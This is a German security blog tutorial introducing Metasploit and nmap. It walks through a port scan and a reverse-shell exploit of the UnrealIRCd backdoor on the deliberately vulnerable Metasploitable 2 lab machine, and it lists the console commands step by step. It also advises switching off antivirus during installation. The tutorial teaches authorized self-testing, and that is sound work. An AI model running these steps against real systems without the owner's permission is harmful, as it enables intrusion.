Einfache Sicherheitstests selbst durchführen - mit dem Metasploit Framework und nmap

25.05.2021
G DATA Blog

Bereits mit wenig Aufwand lässt sich die Sicherheit des eigenen Netzwerkes auf den Prüfstand stellen. Wir stellen zwei Werkzeuge vor, die das möglich machen. Das Beste daran: die Werkzeuge sind kostenlos.

Das Metasploit Framework von Rapid7 ist eins der bekanntesten Frameworks im Bereich der Schwachstellenanalyse, das viele Red Teams/Penetrationstester weltweit nutzen. Es ist frei verfügbar und lässt sich individuell erweitern, sodass es sehr flexibel einsetzbar ist. Häufig findet es in Kombination mit einem Portscanner Anwendung. Mit nmap stellen wir eins der prominentesten Tools aus diesem Bereich vor, das ebenfalls frei verfügbar ist.

Wir geben mit diesem Artikel einen kleinen Einblick in die beiden Werkzeuge. Dazu zeigen wir im Verlauf dieses Artikels ein kurzes Beispiel, um zu demonstrieren, wie Sie selbst einfache Tests gegen Ihre Systeme durchführen können.

Bitte beachten Sie, dass Sie nur Angriffe gegen Systeme durchführen dürfen, bei denen der Eigentümer Ihnen die Erlaubnis gegeben hat. Andernfalls drohen strafrechtliche Konsequenzen. Stellen Sie außerdem sicher, dass Sie Ihre Tests absprechen und nicht unangemeldet einen Dienst beeinträchtigen oder blockieren, den andere Personen nutzen.

Vorkenntnisse - Installation

Vorkenntnisse

Das Metasploit Framework ist eine Konsolenanwendung, nmap wird über die Kommandozeile ausgeführt. Sie sollten daher über Grundkenntnisse in diesem Bereich (bash o.ä.) verfügen.

Installation

Das Metasploit Framework kann hier heruntergeladen und anschließend installiert werden.

Doch Vorsicht: Antivirensoftwares und Firewalls erkennen die Dateien mitunter als Malware, da sie Code enthalten, der in Schadsoftware vorkommt. Dementsprechend sollten Sie diese Schutzkomponenten entweder deaktivieren oder so konfigurieren, dass sie die Nutzung des Metasploit Frameworks nicht unterbinden.

Bei der Installation des Metasploit Frameworks werden verwandte Tools (u.a. nmap) ebenfalls installiert, sodass für unser Beispiel keine weitere Installation nötig ist.

Alternativ können Sie Kali Linux nutzen, eine Linux-Distribution, in der einige Tools aus dem Bereich der offensiven Sicherheit bereits vorinstalliert sind. Das Metasploit Framework und nmap gehören unter anderem auch dazu. Beachten Sie bei der Nutzung von Kali Linux, dass es einige EDR-Lösungen gibt, die empfindlich auf den Standard-Hostnamen eines Kali-Systems reagieren und Alarm schlagen.

Praktisch: Kali Linux gibt es als virtuelle Maschine für VirtualBox oder VMware, sodass Sie sich die Installation eines eigenen Systems sparen können.

Metasploit Framework

Das Metasploit Framework ist modular aufgebaut. Die Module lassen sich in unterschiedliche Kategorien einteilen, die auf verschiedene Arten miteinander kombiniert werden.

Drei der Kategorien sind im Folgenden kurz erklärt:

1. Auxiliaries: Darunter befinden sich Hilfstools wie Scanner, Fuzzer, etc., die genutzt werden, um zu erkennen welche Dienste auf einem Zielsystem laufen und ob Schwachstellen vorhanden sind.

2. Exploits: Unter Exploits findet man alle Module, die sich zum Ausnutzen von Schwachstellen verwendet werden lassen. Diese reichen von Denial-Of-Service-Exploits, die einen Dienst blockieren, bis zu Remote-Code-Execution-Exploits, durch die ein Angreifer beliebigen Code auf dem Zielsystem ausführen kann.

3. Payloads: Payloads lassen sich in Exploits nutzen, um Code auszuführen und eine Verbindung zwischen Angreifer und Zielsystem herzustellen. Dies geschieht in der Regel über eine Shell. Per Payload lässt sich steuern welche Art von Shell auf welche Weise genutzt wird. Zwei grundlegende Unterscheidungen sind dabei:

3.1 Staged bzw. non-staged Payload

Bei einigen Exploits ist die Größe der nutzbaren Payload stark eingeschränkt. Dies kann bedeuten, dass eine staged Payload verwendet werden muss. Bei dieser Art wird nur ein kleiner Code-Teil (stager) ans Zielsystem übermittelt, über den eine Verbindung zurück zum Angreifer hergestellt wird. Von dort werden weitere Payloads (stage) empfangen und ausgeführt.

Non-staged Payloads enthalten dagegen direkt den kompletten Code, der notwendig ist. Daher sind sie größer, aber gleichzeitig auch stabiler, d.h. sie funktionieren zuverlässiger, da keine weiteren Abhängigkeiten existieren.

Die beiden unterschiedlichen Arten erkennt man am Modulnamen. Staged Payloads enthalten ein „/“ mehr, während non-staged Payloads an der entsprechenden Stelle einen Unterstrich „_“ haben.

Beispiele:
Staged: windows/x64/shell/reverse_tcp
Non-Staged: windows/x64/shell_reverse_tcp

3.2 Bind bzw. Reverse Shells

Bei Nutzung einer Bind-Shell wird auf dem Zielsystem ein Dienst gestartet, der auf einem bestimmten Port lauscht. Der Angreifer stellt dann über diesen Port eine Verbindung zu diesem System her.

Je nach Konfiguration des Zielsystems blockieren Firewalls den eingehenden Netzwerkverkehr, sodass die Verbindung über eine Bind-Shell nicht erfolgen kann. Sind Angreifer und Zielsystem nicht im gleichen Netzwerk kann es außerdem sein, dass die (private) IP-Adresse und die Ports des Zielsystems durch NAT geändert werden, was ebenfalls die Nutzung der Bind-Shell verhindert.

Wird dagegen eine Reverse Shell gewählt, wird auf dem Gerät des Angreifers ein Dienst gestartet, der auf einem bestimmten Port lauscht. Das Zielsystem verbindet sich anschließend dorthin.

Beispiele:
Bind Shell: windows/x64/shell_bind_tcp
Reverse Shell: windows/x64/shell_reverse_tcp

nmap

Im Metasploit Framework sind verschiedene Portscanner als Hilfsmodule enthalten. Diese bieten allerdings nur wenige Konfigurationsmöglichkeiten und ermitteln lediglich, ob Ports geöffnet sind. Im Unterschied dazu lassen sich bei einem Scan mit nmap mehr Einstellungen zur Durchführung setzen und auch deutlich mehr Informationen gewinnen.

So sind beispielsweise Optionen vorhanden, um die Geschwindigkeit des Scans anzupassen und Gegenmaßnahmen zu einer möglichen Erkennung durch eine Firewall vorzunehmen. Darüber hinaus lässt sich mit nmap nicht nur ermitteln welche Ports geöffnet sind, sondern auch welcher Dienst über einen Port erreichbar ist und welche Version die zugrunde liegende Software hat.

Anwendungsbeispiel

Im Folgenden betrachten wir ein einfaches Anwendungsbeispiel, das wir schrittweise durchgehen.

Unser Szenario ist folgendes:

  1. Verwundbare Maschine: IP 192.168.2.133
  2. Kali-Linux mit installiertem Metasploit Framework und nmap: IP 192.168.2.132

Bei der verwundbaren Maschine handelt es sich um Metasploitable 2, eine absichtlich verwundbare, virtuelle Maschine, die sich zum Testen von Werkzeugen wie dem Metasploit Framework, nutzen lässt. Diese und weitere verwundbare Maschinen können Sie unter anderem bei VulnHub kostenlos herunterladen. Rapid7 hat inzwischen außerdem eine dritte, aktualisierte Version von Metasploitable entwickelt, die Sie hier ebenfalls kostenlos erhalten.

Schritt 1: Portscan mit nmap

Um zu ermitteln, welche Dienste eines IT-Systems von außen erreichbar und damit potenziell ausnutzbar sind, wird typischerweise ein Portscan durchgeführt. Da Metasploitable eine große Menge an offenen Ports hat, scannen wir zur besseren Übersicht durch Nutzung des Parameters "-p" nur Port 6667, auf dem ein IRC-Daemon lauscht. Ohne Angabe dieses Parameters prüft nmap die beliebtesten 1000 Ports.

Da wir nur einen Port prüfen, ist die Konfiguration der Geschwindigkeit des Scans zu vernachlässigen. Zur Veranschaulichung haben wir hier mit "-T4" trotzdem eine Einstellung vorgegeben. Grundsätzlich bietet nmap die Möglichkeit solche vorgegebenen Templates mit Werten von "T0" (langsam) bis "T5" (schnell) zu nutzen, oder individuelle Einstellungen vorzunehmen.

Durch den Parameter "-A" versucht nmap das Betriebssystem zu erkennen und Informationen über die Versionen, der ermittelten Software, zu ermitteln.

Mithilfe einer kurzen Internetsuche mit dem Suchtext „unreal 3.2.8.1 metasploit“ findet man schnell heraus, dass es ein passendes Exploit-Modul im Metasploit Framework gibt, welches einem Angreifer Zugriff auf das Zielsystem verschafft.

Schritt 2: Exploit

Da wir nun wissen, dass die auf dem Zielsystem verwendete Version des UnrealIRC-Daemons verwundbar ist, können wir im Metasploit Framework den passenden Exploit heraussuchen. Das Metasploit Framework ist eine Konsolenanwendung und wird mithilfe des Befehls „msfconsole“ gestartet.

Dank des Ergebnisses unserer Internetsuche können wir anschließend direkt mit „use  exploit/unix/irc/unreal_ircd_3281_backdoor“ unseren ermittelten Exploit auswählen.

Alternativ lassen sich die Module mithilfe des „search“-Befehls nach Stichworten durchsuchen. Ist ein passendes Modul unter den Suchergebnissen, wird es ebenfalls mithilfe des „use“-Kommandos ausgewählt..

Falls ein Exploit gewählt wurde, können über „show payloads“ alle verfügbaren Payloads für den ausgewählten Exploit angezeigt werden. Mit dem „set“-Befehl wird die gewünschte Payload selektiert.

In einem Modul lassen sich auch noch weitere Optionen setzen. Der Befehl „show options“ zeigt dabei alle Konfigurationsmöglichkeiten an. Durch die set-Instruktion lassen sich die verschiedenen Werte anpassen. Wir setzen die IP-Adresse des Zielsystems mithilfe des Befehls „set RHOSTS 192.168.2.133“. Da wir eine reverse-Shell nutzen, müssen wir außerdem noch die IP-Adresse des angreifenden Systems als „LHOST“ konfigurieren.

Anschließend führen wir per „run“-Befehl den Exploit aus.

Verwendete Befehle & Video

Hier finden Sie eine Übersicht über alle Befehle, die wir in unserem Beispielszenario genutzt haben. Diese können Sie nutzen, falls Sie das Beispiel selbst nachstellen wollen. Darunter können Sie sich das Ausnutzen des Exploits auch noch einmal in einem kurzen Video ansehen.

#Portscan
>nmap [IP] -T4 -A -p 6667

#Exploit
>Search unreal irc
>Use 0
>Show Payloads
>Set Payload 5
>show options
>Set RHOSTS [IP]
>Set LHOSTS [IP]
>Run

Zusammenfassung & Hinweise

Das hier gezeigte Szenario ist idealisiert und dient nur der Veranschaulichung der Möglichkeiten, die Werkzeuge wie das Metasploit Framework und nmap bieten. In Ihrem Netzwerk müssen Sie individuell entscheiden, welche Kommandos und Möglichkeiten Sie einsetzen. Bitte beachten Sie auch, dass ein Selbsttest dieser Art keinen Ersatz für eine externe, professionelle Überprüfung der Sicherheit darstellt. Er kann jedoch als Ausgangsbasis dienen, um einige schwerwiegende Sicherheitslücken im Netzwerk zu finden, bevor andere es tun.

Joel Taddey
Threat Researcher